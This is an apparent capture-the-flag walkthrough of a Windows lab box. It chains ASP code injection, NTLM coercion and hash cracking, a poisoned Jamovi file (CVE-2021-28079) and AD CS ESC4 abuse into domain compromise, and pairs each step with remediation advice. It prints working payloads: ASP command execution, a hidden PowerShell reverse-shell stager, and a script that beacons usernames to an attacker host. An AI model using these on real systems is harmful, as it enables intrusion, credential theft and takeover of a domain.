← all walkthroughs

Anubis

Windows· Insane
owned
2026-09-11
time to own
1h49m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Anubis ($TARGET) hosts a Windows IIS site on www.windcorp.htb whose Classic ASP contact form passes unsanitized user input directly to WScript.Shell, granting me SYSTEM on a Windows container (webserver01, $INTERNAL_HOST). From that foothold I located an internal software portal at the container gateway ($INTERNAL_HOST2); supplying my own IP in the portal's installer-fetch request coerced an outbound NTLM authentication that Responder captured and Hashcat cracked, yielding localadmin's password.

Those credentials unlocked the domain Shared SMB share, which contained Jamovi analytics files periodically opened by the domain user diegoCruz on the EARTH workstation. Exploiting CVE-2021-28079 — Jamovi's failure to sanitize Electron column names — a script-tag payload injected into Whatif.omv executed my own Node.js code as windcorp\diegoCruz.

As diegoCruz, the sole member of the webdevelopers group, I discovered GenericAll rights over the AD CS Web certificate template. Appending Smart Card Logon and Client Authentication EKUs to that template allowed enrollment of a certificate for the domain Administrator; PKINIT authentication with that certificate produced an Administrator TGT, achieving full domain compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD2="<the-password-you-recovered, for localadmin>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration and virtual-host discovery (T1046)
Mapped exposed services and identified the www.windcorp.htb virtual host
An nmap scan of $TARGET returned HTTPS on 443, SMB on 445, MSRPC on 135 and 593 (RPC-over-HTTP), and an unknown service on 49702. Browsing port 443 with the SNI www.windcorp.htb returned a corporate IIS site; inspecting its HTML revealed a contact form that posted to the Classic ASP endpoint /save.asp.
Curl to www.windcorp.htb returned the Windcorp index page containing a /save.asp form action.
Exact commands 3
shell

Register all discovered virtual hosts for local resolution.

$ echo "$TARGET www.windcorp.htb windcorp.htb softwareportal.windcorp.htb earth.windcorp.htb" | sudo tee -a /etc/hosts
shell

Targeted service-version scan on discovered ports.

$ nmap -sV -sC -p 135,443,445,593,49702 $TARGET -oN anubis-nmap.txt
shell

Confirm the contact form action endpoint /save.asp.

$ curl -sk --resolve www.windcorp.htb:443:$TARGET https://www.windcorp.htb/ | grep -Ei '(<form|action=|\.asp)'
2ExploitationServer-side code injection in Classic ASP (T1190 / CWE-94)
Achieved SYSTEM remote code execution via Classic ASP server-side injection in the contact form
The /save.asp handler on www.windcorp.htb embedded user-supplied form fields directly into a Classic ASP response without sanitization. Inserting ASP server-side directives (<%…%>) in the 'message' parameter caused the IIS worker — running as NT AUTHORITY\SYSTEM inside a Windows container — to execute arbitrary commands and return output in the HTTP response. A PowerShell reverse-shell stager delivered a persistent interactive session on webserver01.
Curl to /save.asp with embedded ASP payload; nt authority\system on webserver01 with container IP $INTERNAL_HOST; Ncat listener received connection from $TARGET:49850.
Exact commands 3
shell

Probe — confirm RCE; expect nt authority\system in the HTML response.

$ curl -skG --resolve www.windcorp.htb:443:$TARGET 'https://www.windcorp.htb/save.asp' --data-urlencode 'name=ops' --data-urlencode 'email=ops@windcorp.htb' --data-urlencode 'subject=status' --data-urlencode 'message=<% Set s=Server.CreateObject("WScript.Shell"):Set e=s.Exec("cmd.exe /c "&Request("cmd")):Response.Write("<pre>"&Server.HTMLEncode(e.StdOut.ReadAll)&"</pre>") %>' --data-urlencode 'cmd=whoami'
shell

Start my listener before sending the shell payload.

$ ncat -lvnp 4444
shell

Replace <BASE64_REVERSE_SHELL_PAYLOAD> with a base64-encoded PowerShell IEX reverse-shell targeting $ATTACKER_IP:4444.

$ curl -skG --resolve www.windcorp.htb:443:$TARGET 'https://www.windcorp.htb/save.asp' --data-urlencode 'name=ops' --data-urlencode 'email=ops@windcorp.htb' --data-urlencode 'subject=status' --data-urlencode 'message=<% Set s=Server.CreateObject("WScript.Shell"):s.Run "cmd.exe /c powershell -nop -w hidden -e <BASE64_REVERSE_SHELL_PAYLOAD>" %>'
FixSanitize contact-form input and remove shell-execution objects from the ASP handlerCritical
WeaknessThe /save.asp handler passed user-supplied form fields directly to WScript.Shell without any validation or encoding, allowing an unauthorised user to embed Classic ASP directives that IIS executed with NT AUTHORITY\SYSTEM privileges.
FixRemove WScript.Shell and all other shell-execution objects from the contact-form code path entirely; use a dedicated server-side mail library with no shell dependency. Apply strict allow-list input validation (reject any input containing ASP metacharacters such as <%, Set, CreateObject). Enable IIS Request Filtering to block those character sequences in POST bodies. Run the IIS application pool under a dedicated low-privilege service account rather than SYSTEM or Network Service.
3Pivot & Credential CaptureForced outbound NTLM authentication / credential coercion (T1187)
Coerced NTLM authentication from the software portal to capture and crack the localadmin password
Inside the container, ipconfig showed the host gateway at $INTERNAL_HOST2. That host ran the softwareportal.windcorp.htb web application, which accepted an HTTP request with a caller-supplied 'client' IP and software name, then fetched the named installer from that IP — sending the server's NTLM credentials in the process. Responder on my tun0 interface captured an NTLMv2 challenge-response for windcorp\localadmin; Hashcat cracked it to the plaintext <withheld>.
Step 9: Invoke-WebRequest to softwareportal.windcorp.htb with client=$ATTACKER_IP triggered the capture; localadmin's password used successfully against SMB.
Exact commands 3
shell

Start Responder on my tun0 interface to capture inbound NTLM hashes.

$ sudo responder -I tun0 -dwv
shell

Run from the container shell — coerces the portal to fetch from $ATTACKER_IP, triggering NTLM authentication to Responder.

$ powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing -Uri 'http://$INTERNAL_HOST2/install.asp?client=$ATTACKER_IP&software=jamovi-1.6.16.0-win64.exe' -Headers @{Host='softwareportal.windcorp.htb'}"
shell

Crack the captured NTLMv2 hash; yields $PASSWORD2.

$ hashcat -m 5600 localadmin.hash /usr/share/wordlists/rockyou.txt --force
FixRestrict the software portal's outbound installer-fetch to trusted internal addresses onlyHigh
WeaknessThe softwareportal.windcorp.htb application accepted a caller-supplied IP address and fetched an installer from it using Windows NTLM authentication, allowing an unauthorised user with access to the portal to redirect the credential to their own listener.
FixReplace the open 'client' IP parameter with a server-side whitelist of known internal package-server hostnames; reject any request referencing an address outside that list. Disable NTLM for outbound HTTP connections on the portal's service account and switch to Kerberos or certificate-based authentication. At the network perimeter, block outbound HTTP (80/8080) and SMB (445) from server hosts to non-internal ranges.
4Lateral MovementSMB lateral movement with valid domain credentials (T1021.002 / T1078)
Accessed the domain Shared SMB share with cracked credentials and retrieved Jamovi analytics files
The cracked localadmin account (windcorp.htb\localadmin, <withheld>) had access to the Shared SMB share on $TARGET. The Documents\Analytics subdirectory contained four Jamovi (.omv) statistical files — Big 5.omv, Bugs.omv, Tooth Growth.omv, and Whatif.omv — periodically opened by a logged-on desktop user, making them a client-side attack vector.
Exact commands 2
shell

Confirm credentials and enumerate accessible SMB shares.

$ nxc smb $TARGET -u localadmin -p "$PASSWORD2" -d windcorp.htb --shares
shell

Download all Jamovi analytics files from the share.

$ mkdir -p /tmp/anubis-omv && smbclient //$TARGET/Shared -U "windcorp.htb/localadmin%$PASSWORD2" -c 'cd Documents\Analytics; prompt OFF; mget *.omv' && ls /tmp/anubis-omv/*.omv
FixEnforce least-privilege write access on the Shared analytics directory and rotate the localadmin credentialHigh
WeaknessThe localadmin account, once cracked, had write access to the analytics share that a privileged user regularly consumed, creating a direct client-side attack vector. The account also used a weak, dictionary-crackable password.
FixGrant localadmin only the minimum permissions required — read-only unless the account has a legitimate write requirement. Separate the analytics drop zone so only the depositing application has write rights and consumers (diegoCruz, etc.) have read-only access. Enable Windows File Auditing (Object Access) on the share and alert on unexpected file modifications. Rotate localadmin's password to a long randomly generated value managed by Microsoft LAPS or an equivalent PAM solution.
5ExploitationElectron stored XSS via malicious Jamovi document — CVE-2021-28079 (T1204.002)
Injected a CVE-2021-28079 XSS payload into Whatif.omv to execute code as the desktop user diegoCruz
Jamovi is an Electron-based statistics application vulnerable to CVE-2021-28079: column names stored in the .omv archive's metadata.json are rendered in the Electron renderer process without HTML sanitization. Replacing the first column name in Whatif.omv with a script tag pointing to my own JavaScript file caused Jamovi to load and run that script the next time the file was opened. The Node.js payload used child_process.exec to beacon the current username (windcorp\diegoCruz) back to me and relay a reverse shell, achieving code execution on the EARTH workstation as that domain user.
j2.js using child_process.exec to beacon whoami.
Exact commands 4
shell

Preserve the original before modification (restore after the exercise).

$ cp /tmp/anubis-omv/Whatif.omv /tmp/anubis-omv/Whatif.omv.original
shell

Inject the XSS payload into the first column name and repack the .omv archive.

$ cd /tmp/anubis-omv && mkdir whatif-work && unzip -q Whatif.omv.original -d whatif-work && jq --arg p '<script src="http://'"$ATTACKER_IP"':8080/j.js"></script>' '.dataSet.fields[0].name=$p' whatif-work/metadata.json > whatif-work/metadata.json.new && mv whatif-work/metadata.json.new whatif-work/metadata.json && cd whatif-work && zip -r ../Whatif.payload.omv .
shell

Serve j.js from my machine; adapt the payload to a reverse shell for persistent access.

$ python3 -c "
import http.server, socketserver
handler=http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(('$ATTACKER_IP',8080),handler) as h:
    h.serve_forever()
" &
echo 'const cp=require("child_process"); cp.exec(String.raw`powershell -NoProfile -WindowStyle Hidden -Command "$u=[uri]::EscapeDataString((whoami));Invoke-WebRequest -Uri (\"http://'"$ATTACKER_IP"':8080/beacon?u=\"+$u) -UseBasicParsing"`);' > /tmp/j.js
shell

Replace the original file on the share with the poisoned version; restore the backup afterwards.

$ smbclient //$TARGET/Shared -U "windcorp.htb/localadmin%$PASSWORD2" -c 'cd Documents\Analytics; put /tmp/anubis-omv/Whatif.payload.omv Whatif.omv'
FixPatch Jamovi for CVE-2021-28079 and prevent execution of untrusted .omv files from network sharesHigh
WeaknessJamovi's Electron renderer displayed column names from .omv metadata without HTML sanitization (CVE-2021-28079), enabling anyone who could write a file to the analytics share to achieve code execution as the user who opened the file.
FixUpgrade Jamovi to version 1.8.x or later, which remediates CVE-2021-28079 by applying HTML encoding to all field names before rendering. Until patched, enforce nodeIntegration:false and contextIsolation:true in all BrowserWindow configurations so injected scripts cannot reach Node.js APIs. Use AppLocker or Windows Defender Application Control to block Electron app execution from network share paths, and alert on .omv or similar files arriving in monitored directories from unexpected sources.
6Privilege EscalationAD CS ESC4 — abusable certificate template DACL / PKINIT (T1649)
Exploited AD CS ESC4 — abusive template DACL — to enroll an Administrator certificate and gain domain admin via PKINIT
Running as windcorp\diegoCruz, I enumerated Active Directory Certificate Services and found that the webdevelopers security group — of which diegoCruz was the sole member — held GenericAll over the 'Web' certificate template. GenericAll permits rewriting all template attributes, including Extended Key Usage (EKU). I appended Smart Card Logon (1.3.6.1.4.1.311.20.2.2) and Client Authentication (1.3.6.1.5.5.7.3.2) EKUs to the template, then enrolled a certificate specifying administrator@windcorp.htb as the UPN. Authenticating with that certificate via PKINIT yielded a Kerberos TGT for the domain Administrator, providing unrestricted domain control.
'the desktop user controls the Web certificate template through webdevelopers; add smart-card/client-auth usage, request an Administrator certificate, and use PKINIT'.
Exact commands 6
shell

Enumerate AD CS for vulnerable templates; confirms ESC4 on the Web template with webdevelopers GenericAll.

$ certipy find -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -vulnerable -stdout
shell

Save original template attributes and apply writable-template settings (enables arbitrary subject enrollment).

$ certipy template -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -template Web -save-old
shell

Enroll a certificate for the domain Administrator using the now-writable Web template.

$ certipy req -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -ca windcorp-CA -template Web -upn administrator@windcorp.htb -out administrator
shell

Authenticate via PKINIT; retrieves the Administrator TGT and NT hash.

$ certipy auth -pfx administrator.pfx -dc-ip $TARGET -domain windcorp.htb -username administrator
shell

Verify domain-admin access via pass-the-hash with the harvested NT hash.

$ nxc smb $TARGET -u administrator -H '<administrator_NT_hash>' -d windcorp.htb --shares
shell

Restore the original template configuration after the exercise.

$ certipy template -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -template Web -configuration <saved_old_template.json>
FixRemove over-permissive DACL on the Web AD CS certificate template (ESC4)Critical
WeaknessThe webdevelopers group held GenericAll over the 'Web' certificate template, allowing any member to rewrite the template's Extended Key Usage and Subject attributes and then enroll a certificate for any user including the domain Administrator — effectively granting themselves a domain-admin TGT on demand.
FixAudit all AD CS certificate templates for non-administrative principals granted Write, GenericAll, GenericWrite, WriteDacl, or WriteProperty rights (use 'certipy find -vulnerable' or Certify in audit mode). Remove the webdevelopers GenericAll permission from the Web template and replace it with only the specific right actually needed (Enroll, if required). Enable CA Manager Approval on any template that permits Subject Name override or alternative EKUs. Schedule recurring AD CS permission audits and alert on template attribute changes.

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

135/tcp
443/tcp
445/tcp
593/tcp
49699/tcp